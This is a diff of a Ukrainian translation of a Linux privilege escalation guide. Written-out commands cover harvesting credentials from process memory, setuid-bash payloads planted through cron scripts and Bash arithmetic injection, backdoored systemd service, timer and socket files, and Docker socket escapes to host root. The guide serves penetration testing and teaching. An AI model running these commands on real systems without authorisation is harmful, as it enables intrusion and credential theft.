[https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) ``` procdump -p 1714 @@ -267,10 +266,10 @@ Press Ctrl-C to end monitoring without terminating the process. ``` ### Інструменти -Щоб зробити dump пам'яті процесу, можна використати: +Щоб зробити дамп пам'яті процесу, ви можете використати: - [**https://github.com/Sysinternals/ProcDump-for-Linux**](https://github.com/Sysinternals/ProcDump-for-Linux) -- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_Ви можете вручну прибрати вимоги root і зробити dump процесу, що належить вам +- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_Ви можете вручну прибрати вимоги root і зняти дамп процесу, який належить вам - Script A.5 з [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (потрібен root) ### Облікові дані з пам'яті процесу @@ -282,25 +281,25 @@ Press Ctrl-C to end monitoring without terminating the process. ps -ef | grep "authenticator" root 2027 2025 0 11:46 ? 00:00:00 authenticator ``` -Ви можете dump the process (див. попередні розділи, щоб знайти різні способи dump the memory of a process) і шукати credentials у memory: +Ви можете зробити дамп процесу (див. попередні розділи, щоб знайти різні способи дампування пам'яті процесу) і шукати облікові дані в пам'яті: ```bash ./dump-memory.sh 2027 strings *.dump | grep -i password ``` #### mimipenguin -The tool [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) will **викрадати облікові дані у відкритому тексті з пам'яті** та з деяких **відомих файлів**. Для коректної роботи потрібні привілеї root. +Інструмент [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) буде **викрадати облікові дані у відкритому тексті з пам'яті** та з деяких **відомих файлів**. Вимагає привілеїв root для коректної роботи. -| Об'єкт | Ім'я процесу | +| Функція | Назва процесу | | ------------------------------------------------- | -------------------- | -| GDM пароль (Kali Desktop, Debian Desktop) | gdm-password | +| GDM password (Kali Desktop, Debian Desktop) | gdm-password | | Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop) | gnome-keyring-daemon | | LightDM (Ubuntu Desktop) | lightdm | -| VSFTPd (активні FTP-з'єднання) | vsftpd | -| Apache2 (активні HTTP Basic Auth сесії) | apache2 | -| OpenSSH (активні SSH-сеанси - використання sudo) | sshd: | +| VSFTPd (Active FTP Connections) | vsftpd | +| Apache2 (Active HTTP Basic Auth Sessions) | apache2 | +| OpenSSH (Active SSH Sessions - Sudo Usage) | sshd: | -#### Пошук регулярних виразів/[truffleproc](https://github.com/controlplaneio/truffleproc) +#### Пошук Regexes/[truffleproc](https://github.com/controlplaneio/truffleproc) ```bash # un truffleproc.sh against your current Bash shell (e.g. $$) ./truffleproc.sh $$ @@ -314,36 +313,37 @@ Reading symbols from /lib/x86_64-linux-gnu/librt.so.1... # finding secrets # results in /tmp/tmp.o6HV0Pl3fe/results.txt ``` -## Заплановані/Cron jobs +## Заплановані/Cron завдання -Перевірте, чи є якісь заплановані завдання вразливими. Можливо, можна скористатися тим, що скрипт виконується від root (wildcard vuln? чи можна змінювати файли, які використовує root? використати symlinks? створити специфічні файли в директорії, яку використовує root?). +Перевірте, чи є якесь заплановане завдання вразливим. Можливо, ви можете скористатися тим, що скрипт виконується від імені root (wildcard vuln? чи можна змінювати файли, які використовує root? використовувати symlinks? створити спеціальні файли в директорії, яку використовує root?). ```bash crontab -l ls -al /etc/cron* /etc/at* cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/null | grep -v "^#" ``` -### Cron шлях +### Шлях PATH для Cron -Наприклад, у файлі _/etc/crontab_ можна знайти PATH: _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_ +Наприклад, у _/etc/crontab_ ви можете знайти PATH: _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_ -(_Зверніть увагу, що користувач "user" має права на запис у /home/user_) +(_Зверніть увагу, що користувач "user" має права запису над /home/user_) -Якщо в цьому crontab користувач root намагається виконати якусь команду або скрипт без встановленого PATH. Наприклад: _\* \* \* \* root overwrite.sh_\ -Тоді можна отримати root shell, використовуючи: +Якщо в цьому crontab користувач root намагається виконати якусь команду або скрипт, не встановивши PATH. Наприклад: _\* \* \* \* root overwrite.sh_\ + +Тоді ви можете отримати root shell, використавши: ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh #Wait cron job to be executed /tmp/bash -p #The effective uid and gid to be set to the real uid and gid ``` -### Cron, який використовує скрипт з wildcard (Wildcard Injection) +### Cron, що виконує скрипт із підстановним символом (Wildcard Injection) -Якщо скрипт, який виконується від імені root, містить “**\***” у команді, це можна використати, щоб спричинити небажані дії (наприклад privesc). Приклад: +Якщо скрипт, що виконується від імені root, містить “**\***” всередині команди, це можна використати, щоб спричинити непередбачувану поведінку (наприклад privesc). Приклад: ```bash rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script ``` -**Якщо wildcard передує шляху, як-от** _**/some/path/\***_ **, він не є вразливим (навіть** _**./\***_ **- ні).** +**Якщо wildcard передує шляху, наприклад** _**/some/path/\***_, **це не вразливе (навіть** _**./\***_ **не є).** -Read the following page for more wildcard exploitation tricks: +Прочитайте наступну сторінку для додаткових трюків з експлуатації wildcard: {{#ref}} @@ -353,11 +353,11 @@ wildcards-spare-tricks.md ### Bash arithmetic expansion injection in cron log parsers -Bash виконує parameter expansion і command substitution перед arithmetic evaluation у ((...)), $((...)) та let. Якщо root cron/parser читає ненадійні log поля і підставляє їх в arithmetic context, зловмисник може інжектувати command substitution $(...), який буде виконаний як root під час запуску cron. +Bash виконує parameter expansion та command substitution перед arithmetic evaluation у ((...)), $((...)) та let. Якщо root cron/parser читає untrusted log fields і передає їх в arithmetic context, attacker може інжектувати command substitution $(...), який виконуватиметься як root, коли cron запуститься. -- Чому це працює: У Bash розширення відбуваються в такому порядку: parameter/variable expansion, command substitution, arithmetic expansion, потім word splitting і pathname expansion. Тому значення на кшталт `$(/bin/bash -c 'id > /tmp/pwn')0` спочатку підставляється (виконуючи команду), а потім залишкова цифра `0` використовується для arithmetic, тож скрипт продовжує роботу без помилок. +- Чому це працює: У Bash розгортання відбувається в такому порядку: parameter/variable expansion, command substitution, arithmetic expansion, потім word splitting і pathname expansion. Отже значення на кшталт `$(/bin/bash -c 'id > /tmp/pwn')0` спочатку підставляється (команда виконується), а потім залишкова цифра `0` використовується для арифметики, тому скрипт продовжує роботу без помилок. -- Typical vulnerable pattern: +- Типовий вразливий шаблон: ```bash #!/bin/bash # Example: parse a log and "sum" a count field coming from the log @@ -367,7 +367,7 @@ while IFS=',' read -r ts user count rest; do done < /var/www/app/log/application.log ``` -- Експлуатація: Отримайте attacker-controlled текст, записаний у parsed log, так щоб поле, яке виглядає як число, містило command substitution і закінчувалося цифрою. Переконайтеся, що ваша команда не пише в stdout (або перенаправте її), щоб arithmetic залишалося валідним. +- Експлуатація: Запишіть attacker-controlled текст у парсований лог так, щоб поле, схоже на число, містило command substitution і закінчувалося цифрою. Переконайтеся, що ваша команда не пише в stdout (або перенаправте його), щоб арифметика залишалася валідною. ```bash # Injected field value inside the log (e.g., via a crafted HTTP request that the app logs verbatim): $(/bin/bash -c 'cp /bin/bash /tmp/sh; chmod +s /tmp/sh')0 @@ -376,117 +376,117 @@ $(/bin/bash -c 'cp /bin/bash /tmp/sh; chmod +s /tmp/sh')0 ### Cron script overwriting and symlink -Якщо ви **can modify a cron script**, що виконується як root, ви дуже легко можете отримати shell: +Якщо ви **можете змінити cron script** що виконується від імені root, ви дуже легко можете отримати shell: ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > #Wait until it is executed /tmp/bash -p ``` -Якщо script, що виконується від імені root, використовує **directory where you have full access**, можливо, має сенс видалити цю папку і **create a symlink folder to another one**, що вказуватиме на script, контрольований вами. +Якщо скрипт, який виконується від імені root, використовує **директорію, до якої ви маєте повний доступ**, можливо, варто видалити цю папку та **створити symlink папку, що вказує на іншу, яка буде запускати script під вашим контролем** ```bash ln -d -s ``` ### Часті cron jobs -Ви можете моніторити процеси, щоб шукати процеси, які виконуються кожні 1, 2 або 5 хвилин. Можливо, ви зможете скористатися цим і escalate privileges. +Ви можете відстежувати процеси, щоб знайти ті, які виконуються кожні 1, 2 або 5 хвилин. Можливо, ви зможете скористатися цим і escalate privileges. -Наприклад, щоб **моніторити кожні 0.1s протягом 1 хвилини**, **відсортувати за командами, які виконуються найрідше** і видалити команди, які були виконані найчастіше, ви можете зробити: +Наприклад, щоб **відстежувати кожні 0.1s протягом 1 хвилини**, **сортувати за найменш часто виконуваними командами** та видалити команди, які виконувалися найчастіше, ви можете зробити: ```bash for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp; ``` -**Ви також можете використовувати** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (цей інструмент буде моніторити та перераховувати кожен процес, що запускається). +**Ви також можете використовувати** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (це буде моніторити та перераховувати кожен процес, який запускається). ### Невидимі cron jobs -Можна створити cronjob, **додавши символ повернення каретки після коментаря** (без символу нового рядка), і cron job працюватиме. Приклад (зверніть увагу на символ повернення каретки): +Можна створити cronjob **putting a carriage return after a comment** (без newline character), і cron job працюватиме. Приклад (зауважте carriage return char): ```bash #This is a comment inside a cron config file\r* * * * * echo "Surprise!" ``` -## Сервіси +## Служби -### Доступні для запису _.service_ файли +### Файли _.service_, доступні для запису -Перевірте, чи можете записати будь-який `.service` файл, якщо можете, ви **можете змінити його** так, щоб він **виконував** ваш **backdoor коли** служба **запускається**, **перезапускається** або **зупиняється** (можливо, доведеться почекати, поки машина не перезавантажиться).\ -Наприклад, створіть ваш backdoor всередині .service файлу з **`ExecStart=/tmp/script.sh`** +Перевірте, чи можете ви записати будь-який `.service` файл, якщо так, ви **можете змінити його** так, щоб він **виконував** ваш **backdoor коли** служба **запускається**, **перезапускається** або **зупиняється** (можливо, вам доведеться почекати, поки машина не буде перезавантажена).\ +Наприклад, створіть ваш backdoor всередині файлу .service з **`ExecStart=/tmp/script.sh`** -### Бінарні файли сервісів, доступні для запису +### Бінарні файли служб, доступні для запису -Майте на увазі, що якщо у вас є **права запису над бінарними файлами, які виконуються сервісами**, ви можете змінити їх на backdoors, тож коли сервіси будуть повторно виконані, backdoors будуть виконані. +Майте на увазі, що якщо у вас є **права запису над бінарними файлами, які виконуються службами**, ви можете замінити їх на backdoors, тому коли служби будуть повторно виконані, backdoors також будуть виконані. ### systemd PATH - Відносні шляхи -Ви можете побачити PATH, який використовує **systemd**, за допомогою: +Ви можете переглянути PATH, який використовує **systemd**, за допомогою: ```bash systemctl show-environment ``` -Якщо ви виявите, що можете **записувати** в будь-яку з папок цього шляху, можливо, ви зможете **escalate privileges**. Потрібно шукати **відносні шляхи, які використовуються у файлах конфігурації сервісів**, наприклад: +Якщо ви виявите, що можете **write** у будь-якій із папок цього шляху, це може дозволити вам **escalate privileges**. Потрібно шукати **відносні шляхи, що використовуються у файлах конфігурації сервісів**, наприклад: ```bash ExecStart=faraday-server ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I' ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello" ``` -Потім створіть **виконуваний файл** з **тим самим ім'ям, що й бінарний файл за відносним шляхом** всередині папки PATH systemd, у яку ви маєте права запису, і коли службу попросять виконати вразливу дію (**Start**, **Stop**, **Reload**), ваш **backdoor буде виконаний** (непривілейовані користувачі зазвичай не можуть запускати/зупиняти служби, але перевірте, чи можете використовувати `sudo -l`). +Потім створіть **виконуваний файл** з **тим самим ім'ям, що й бінарний файл за відносним шляхом** всередині папки PATH systemd, до якої ви маєте права запису, і коли сервіс буде запитано виконати вразливу дію (**Start**, **Stop**, **Reload**), ваш **backdoor буде виконано** (непривілейовані користувачі зазвичай не можуть запускати/зупиняти сервіси, але перевірте, чи можете використати `sudo -l`). -**Дізнайтесь більше про служби за допомогою `man systemd.service`.** +**Дізнайтеся більше про сервіси за допомогою `man systemd.service`.** ## **Таймери** -**Таймери** — це systemd unit files, назви яких закінчуються на `**.timer**`, які контролюють `**.service**` файли або події. **Таймери** можуть використовуватися як альтернатива cron, оскільки вони мають вбудовану підтримку календарних часових подій і монотонних часових подій та можуть запускатися асинхронно. +**Таймери** — це systemd unit files, назва яких закінчується на `**.timer**`, що керують `**.service**` файлами або подіями. **Таймери** можуть бути використані як альтернатива cron, оскільки вони мають вбудовану підтримку календарних подій і монотонних часових подій та можуть виконуватися асинхронно. Ви можете перерахувати всі таймери за допомогою: ```bash systemctl list-timers --all ``` -### Таймери, доступні для запису +### Записувані таймери -Якщо ви можете змінити таймер, ви можете змусити його виконати деякі існуючі одиниці systemd.unit (наприклад `.service` або `.target`) +Якщо ви можете змінити таймер, ви можете змусити його виконати деякі існуючі systemd.unit (наприклад `.service` або `.target`) ```bash Unit=backdoor.service ``` У документації можна прочитати, що таке Unit: -> Unit, яке буде активовано, коли цей timer сплине. Аргумент — це ім'я unit, суфікс якого не є ".timer". Якщо не вказано, це значення за замовчуванням встановлюється на сервіс з тією ж назвою, що й timer unit, за винятком суфіксу. (Див. вище.) Рекомендується, щоб ім'я unit, яке активується, і ім'я timer unit були однаковими, за винятком суфіксу. +> The unit to activate when this timer elapses. The argument is a unit name, whose suffix is not ".timer". If not specified, this value defaults to a service that has the same name as the timer unit, except for the suffix. (See above.) It is recommended that the unit name that is activated and the unit name of the timer unit are named identically, except for the suffix. Отже, щоб зловживати цим дозволом, вам потрібно: -- Знайти якийсь systemd unit (наприклад, `.service`), який **виконує бінарний файл, який можна записувати** -- Знайти systemd unit, який **виконує відносний шлях** і над яким у вас є **права запису** у **systemd PATH** (щоб видавати себе за цей виконуваний файл) +- Знайти systemd unit (наприклад, `.service`), який **виконує бінарний файл, у який можна записувати** +- Знайти systemd unit, який **виконує відносний шлях** і над яким ви маєте **права запису** у **systemd PATH** (щоб підмінити цей виконуваний файл) -**Learn more about timers with `man systemd.timer`.** +**Дізнайтеся більше про timers за допомогою `man systemd.timer`.** -### **Увімкнення таймера** +### **Увімкнення Timer** -Щоб увімкнути таймер, потрібні права root і виконати: +Щоб увімкнути timer, вам потрібні root-привілеї і потрібно виконати: ```bash sudo systemctl enable backu2.timer Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /lib/systemd/system/backu2.timer. ``` -Зауважте, що **таймер** **активується**, створенням символічного посилання на нього в `/etc/systemd/system/.wants/.timer` +Note the **timer** is **activated** by creating a symlink to it on `/etc/systemd/system/.wants/.timer` ## Сокети -Unix Domain Sockets (UDS) дозволяють **обмін між процесами** на тих самих або різних машинах у клієнт-серверній моделі. Вони використовують стандартні Unix дескриптори для міжкомп'ютерного зв'язку і налаштовуються через `.socket` файли. +Unix Domain Sockets (UDS) enable **process communication** on the same or different machines within client-server models. They utilize standard Unix descriptor files for inter-computer communication and are set up through `.socket` files. Sockets can be configured using `.socket` files. -**Дізнайтесь більше про сокети за допомогою `man systemd.socket`.** У цьому файлі можна налаштувати кілька цікавих параметрів: +**Learn more about sockets with `man systemd.socket`.** Inside this file, several interesting parameters can be configured: -- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Ці опції відрізняються, але узагальнення використовується, щоб **вказати, де буде прослуховуватися** сокет (шлях до AF_UNIX сокет-файлу, IPv4/6 та/або номер порту для прослуховування тощо). -- `Accept`: Приймає булевий аргумент. Якщо **true**, для кожного вхідного з'єднання створюється екземпляр service unit і лише сокет з'єднання передається йому. Якщо **false**, всі прослуховуючі сокети самі **передаються до запущеної service unit**, і лише одна service unit створюється для всіх з'єднань. Це значення ігнорується для datagram сокетів і FIFO, де єдина service unit безумовно обробляє весь вхідний трафік. **За замовчуванням false**. З міркувань продуктивності рекомендується писати нові демони так, щоб вони підходили для `Accept=no`. -- `ExecStartPre`, `ExecStartPost`: Приймає один або кілька рядків команд, які **виконуються перед** або **після** створення та прив'язки прослуховуючих **сокетів**/FIFO відповідно. Перший токен командного рядка має бути абсолютним іменем файлу, за яким слідують аргументи для процесу. -- `ExecStopPre`, `ExecStopPost`: Додаткові **команди**, що **виконуються перед** або **після** закриття та видалення прослуховуючих **сокетів**/FIFO відповідно. -- `Service`: Вказує ім'я **service** unit, яку **активувати** при **вхідному трафіку**. Ця настройка дозволена лише для сокетів з Accept=no. За замовчуванням використовується сервіс з тим самим ім'ям, що й сокет (з відповідною заміною суфікса). У більшості випадків використання цієї опції не є необхідним. +- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: These options are different but a summary is used to **indicate where it is going to listen** to the socket (the path of the AF_UNIX socket file, the IPv4/6 and/or port number to listen, etc.) +- `Accept`: Приймає логічний аргумент. Якщо **true**, для кожного вхідного з'єднання створюється окремий екземпляр сервісу, і йому передається тільки сокет з'єднання. Якщо **false**, всі прослуховувані сокети самі **передаються до запущеного service unit**, і створюється лише один екземпляр сервісу для всіх з'єднань. Це значення ігнорується для datagram сокетів та FIFO, де один сервісний екземпляр безумовно обробляє весь вхідний трафік. **Defaults to false**. З міркувань продуктивності рекомендовано писати нові демони таким чином, щоб вони були сумісні з `Accept=no`. +- `ExecStartPre`, `ExecStartPost`: Приймає один або декілька рядків команд, які **виконуються перед** або **після** створення та прив'язки прослуховуваних **сокетів**/FIFO відповідно. Перший токен командного рядка повинен бути абсолютним шляхом до файлу, після якого йдуть аргументи для процесу. +- `ExecStopPre`, `ExecStopPost`: Додаткові **команди**, які **виконуються перед** або **після** закриття та видалення прослуховуваних **сокетів**/FIFO відповідно. +- `Service`: Вказує ім'я **service** unit, яке **активується** при **вхідному трафіку**. Ця опція дозволена лише для сокетів з Accept=no. За замовчуванням використовується сервіс з тим самим ім'ям, що й сокет (з відповідною заміною суфікса). У більшості випадків використання цієї опції не є необхідним. -### Записувані `.socket` файли +### Writable .socket files -Якщо ви знайдете **доступний для запису** `.socket` файл, ви можете **додати** на початку секції `[Socket]` щось на кшталт: `ExecStartPre=/home/kali/sys/backdoor` і backdoor буде виконано перед створенням сокета. Тому, **ймовірно, доведеться зачекати до перезавантаження машини.**\ +If you find a **writable** `.socket` file you can **add** at the beginning of the `[Socket]` section something like: `ExecStartPre=/home/kali/sys/backdoor` and the backdoor will be executed before the socket is created. Therefore, you will **probably need to wait until the machine is rebooted.**\ _Note that the system must be using that socket file configuration or the backdoor won't be executed_ -### Записувані сокети +### Writable sockets -Якщо ви **виявите будь-який socket, доступний для запису** (_тут мається на увазі Unix Sockets, а не конфігураційні `.socket` файли_), то **ви можете комунікувати** з цим socket і можливо експлуатувати вразливість. +If you **identify any writable socket** (_now we are talking about Unix Sockets and not about the config `.socket` files_), then **you can communicate** with that socket and maybe exploit a vulnerability. -### Перелічення Unix Sockets +### Enumerate Unix Sockets ```bash netstat -a -p --unix ``` @@ -508,19 +508,19 @@ socket-command-injection.md ### HTTP sockets -Зауважте, що можуть бути деякі **sockets listening for HTTP** запити (_я не маю на увазі .socket files, а файли, що виконують роль unix sockets_). Ви можете перевірити це за допомогою: +Зверніть увагу, що можуть існувати деякі **sockets listening for HTTP** запити (_я не маю на увазі .socket files, а файли, що діють як unix sockets_). Ви можете перевірити це за допомогою: ```bash curl --max-time 2 --unix-socket /pat/to/socket/files http:/index ``` -Якщо сокет **відповідає на HTTP** запит, то ви можете **спілкуватися** з ним і, можливо, **експлуатувати якусь вразливість**. +Якщо сокет **відповідає на HTTP** запит, то ви можете **спілкуватися** з ним і можливо **exploit some vulnerability**. -### Docker сокет доступний для запису +### Docker сокет, доступний для запису The Docker socket, often found at `/var/run/docker.sock`, is a critical file that should be secured. By default, it's writable by the `root` user and members of the `docker` group. Possessing write access to this socket can lead to privilege escalation. Here's a breakdown of how this can be done and alternative methods if the Docker CLI isn't available. #### **Privilege Escalation with Docker CLI** -Якщо у вас є права запису до Docker сокета, ви можете escalate privileges, використовуючи такі команди: +Якщо у вас є права запису в цей Docker сокет, ви можете escalate privileges, використовуючи наступні команди: ```bash docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh @@ -529,27 +529,27 @@ docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nse #### **Використання Docker API безпосередньо** -Якщо Docker CLI недоступний, Docker socket все ще можна використати через Docker API та команди `curl`. +У випадках, коли Docker CLI недоступний, з Docker socket все ще можна працювати через Docker API та команди `curl`. -1. **List Docker Images:** Отримати список доступних образів. +1. **List Docker Images:** Отримайте список доступних образів. ```bash curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json ``` -2. **Create a Container:** Надішліть запит для створення контейнера, який монтує корінь файлової системи хоста. +2. **Create a Container:** Відправте запит на створення контейнера, який монтує кореневий каталог файлової системи хоста. ```bash curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create ``` -Запустіть щойно створений контейнер: +Start the newly created container: ```bash curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers//start ``` -3. **Attach to the Container:** Використайте `socat` для встановлення з'єднання з контейнером, що дозволить виконувати команди всередині нього. +3. **Attach to the Container:** Використайте `socat` для встановлення підключення до контейнера, що дозволить виконувати команди всередині нього. ```bash socat - UNIX-CONNECT:/var/run/docker.sock @@ -559,13 +559,13 @@ Connection: Upgrade Upgrade: tcp ``` -Після налаштування з'єднання через `socat` ви зможете виконувати команди безпосередньо в контейнері з root-доступом до файлової системи хоста. +Після встановлення з'єднання `socat` ви можете виконувати команди безпосередньо в контейнері з правами root у файловій системі хоста. ### Інше -Зверніть увагу, що якщо у вас є права на запис у docker socket через те, що ви **в середині групи `docker`**, у вас є [**more ways to escalate privileges**](interesting-groups-linux-pe/index.html#docker-group). Якщо [**docker API прослуховує порт** ви також можете його скомпрометувати](../../network-services-pentesting/2375-pentesting-docker.md#compromising). +Зауважте, що якщо у вас є права запису на docker socket тому що ви **входите до групи `docker`** у вас є [**більше способів підвищити привілеї**](interesting-groups-linux-pe/index.html#docker-group). Якщо [**docker API is listening in a port** ви також зможете його скомпрометувати](../../network-services-pentesting/2375-pentesting-docker.md#compromising). -Перегляньте **more ways to break out from docker or abuse it to escalate privileges** у: +Перегляньте **більше способів вийти з docker або зловживати ним для підвищення привілеїв** у: {{#ref}} @@ -574,7 +574,7 @@ docker-security/ ## Containerd (ctr) privilege escalation -Якщо ви виявите, що можете використовувати команду **`ctr`**, прочитайте наступну сторінку, оскільки **you may be able to abuse it to escalate privileges**: +Якщо ви можете використовувати команду **`ctr`**, прочитайте наступну сторінку, оскільки **ви можете зловживати нею для підвищення привілеїв**: {{#ref}} @@ -583,7 +583,7 @@ containerd-ctr-privilege-escalation.md ## **RunC** privilege escalation -Якщо ви виявите, що можете використовувати команду **`runc`**, прочитайте наступну сторінку, оскільки **you may be able to abuse it to escalate privileges**: +Якщо ви можете використовувати команду **`runc`**, прочитайте наступну сторінку, оскільки **ви можете зловживати нею для підвищення привілеїв**: {{#ref}} @@ -592,15 +592,15 @@ runc-privilege-escalation.md ## **D-Bus** -D-Bus — це складна система міжпроцесної взаємодії (inter-Process Communication, `IPC`), яка дозволяє додаткам ефективно взаємодіяти та обмінюватися даними. Розроблена для сучасних Linux-систем, вона забезпечує надійну структуру для різних форм комунікації між застосунками. +D-Bus — це складна система міжпроцесної взаємодії (inter-Process Communication, IPC), яка дозволяє застосункам ефективно взаємодіяти та обмінюватися даними. Розроблена з урахуванням сучасної Linux-системи, вона пропонує надійну структуру для різних форм комунікації між додатками. -Система універсальна: вона підтримує базовий IPC, що покращує обмін даними між процесами, нагадуючи розширені UNIX domain sockets. Крім того, вона допомагає транслювати події або сигнали, сприяючи безшовній інтеграції між компонентами системи. Наприклад, сигнал від Bluetooth daemon про вхідний дзвінок може змусити музичний плеєр приглушити звук. Також D-Bus підтримує систему віддалених об'єктів, що спрощує запити сервісів і виклики методів між додатками, полегшуючи процеси, які раніше були складними. +Система є універсальною, підтримуючи базовий IPC, який поліпшує обмін даними між процесами, нагадуючи **enhanced UNIX domain sockets**. Крім того, вона сприяє трансляції подій або сигналів, забезпечуючи безшовну інтеграцію між компонентами системи. Наприклад, сигнал від демонa Bluetooth про вхідний дзвінок може змусити музичний плеєр приглушити звук, покращуючи досвід користувача. Додатково, D-Bus підтримує систему віддалених об'єктів, спрощуючи запити сервісів та виклики методів між додатками, оптимізуючи процеси, які раніше були складнішими. -D-Bus працює за моделлю дозволити/заборонити (allow/deny), керуючи дозволами на повідомлення (виклики методів, емісія сигналів тощо) на основі сукупного ефекту правил політики, які співпадають. Ці політики визначають взаємодії з шиною і можуть потенційно дозволити privilege escalation через експлуатацію таких дозволів. +D-Bus працює за моделлю дозволити/заборонити (allow/deny), керуючи дозволами на повідомлення (виклики методів, емісія сигналів тощо) на основі кумулятивного ефекту правил політики, що збігаються. Ці політики визначають взаємодії з шиною і потенційно можуть дозволити ескалацію привілеїв через експлуатацію цих дозволів. -Приклад такої політики в `/etc/dbus-1/system.d/wpa_supplicant.conf` показаний, де вказані дозволи для користувача root власнувати, надсилати та отримувати повідомлення від `fi.w1.wpa_supplicant1`. +Приклад такої політики в `/etc/dbus-1/system.d/wpa_supplicant.conf` наведено нижче, детально описуючи дозволи для користувача root на володіння, надсилання та отримання повідомлень від `fi.w1.wpa_supplicant1`. -Політики без вказаного користувача або групи застосовуються універсально, тоді як політики в контексті "default" застосовуються до всіх, хто не покритий іншими специфічними політиками. +Політики без вказаного користувача чи групи застосовуються універсально, тоді як політики в контексті "default" застосовуються до всіх, хто не покритий іншими специфічними політиками. ```xml @@ -609,7 +609,7 @@ D-Bus працює за моделлю дозволити/заборонити ( ``` -**Дізнайтеся, як виконувати енумерацію та експлуатувати комунікацію D-Bus тут:** +**Дізнайтеся, як enumerate та exploit D-Bus communication тут:** {{#ref}} @@ -618,9 +618,9 @@ d-bus-enumeration-and-command-injection-privilege-escalation.md ## **Мережа** -Завжди корисно виконувати енумерацію мережі й визначати місце машини в ній. +Завжди цікаво enumerate мережу і визначити розташування машини. -### Загальна енумерація +### Generic enumeration ```bash #Hostname, hosts and DNS cat /etc/hostname /etc/hosts /etc/resolv.conf @@ -643,24 +643,24 @@ cat /etc/networks #Files used by network services lsof -i ``` -### Відкриті порти +### Open ports -Завжди перевіряйте мережеві сервіси, що працюють на машині, з якими ви не могли взаємодіяти до отримання доступу: +Завжди перевіряйте network services, що працюють на машині, з якими ви не могли взаємодіяти перед отриманням доступу до неї: ```bash (netstat -punta || ss --ntpu) (netstat -punta || ss --ntpu) | grep "127.0" ``` ### Sniffing -Перевірте, чи можете sniff traffic. Якщо зможете, можливо, вдасться отримати деякі credentials. +Перевірте, чи можете sniff трафік. Якщо так, ви зможете отримати деякі credentials. ``` timeout 1 tcpdump ``` -## Users +## Користувачі -### Generic Enumeration +### Загальна енумерація -Перевірте, **who** ви є, які **privileges** у вас є, які **users** є в системах, які можуть **login** і які мають **root privileges:** +Перевірте, **who** ви є, які **privileges** у вас є, які **users** є в системі, хто може **login** і хто має **root privileges**: ```bash #Info about me id || (whoami && groups) 2>/dev/null @@ -684,12 +684,12 @@ gpg --list-keys 2>/dev/null ``` ### Великий UID -Деякі версії Linux постраждали від помилки, яка дозволяє користувачам з **UID > INT_MAX** підвищити привілеї. Детальніше: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) і [here](https://twitter.com/paragonsec/status/1071152249529884674).\ -**Експлуатуйте** за допомогою: **`systemd-run -t /bin/bash`** +Деякі версії Linux були вражені багом, який дозволяє користувачам з **UID > INT_MAX** підвищувати привілеї. Детальніше: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) and [here](https://twitter.com/paragonsec/status/1071152249529884674).\ +**Exploit it** using: **`systemd-run -t /bin/bash`** ### Групи -Перевірте, чи є ви **членом якоїсь групи**, яка могла б надати вам права root: +Перевірте, чи ви є **учасником якоїсь групи**, яка може надати вам права root: {{#ref}} @@ -715,22 +715,22 @@ grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/logi ``` ### Відомі паролі -Якщо ви **знаєте будь-який пароль** серед середовища **спробуйте увійти як кожен користувач**, використовуючи його. +Якщо ви **знаєте будь-який пароль** середовища, **спробуйте увійти під кожного користувача**, використовуючи цей пароль. ### Su Brute -Якщо вам не шкода створити багато шуму і на комп'ютері присутні бінарні файли `su` та `timeout`, ви можете спробувати brute-force користувача, використовуючи [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\ -[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) з параметром `-a` також спробує brute-force користувачів. +Якщо вам не шкода створювати багато шуму і на машині присутні бінарні файли `su` і `timeout`, ви 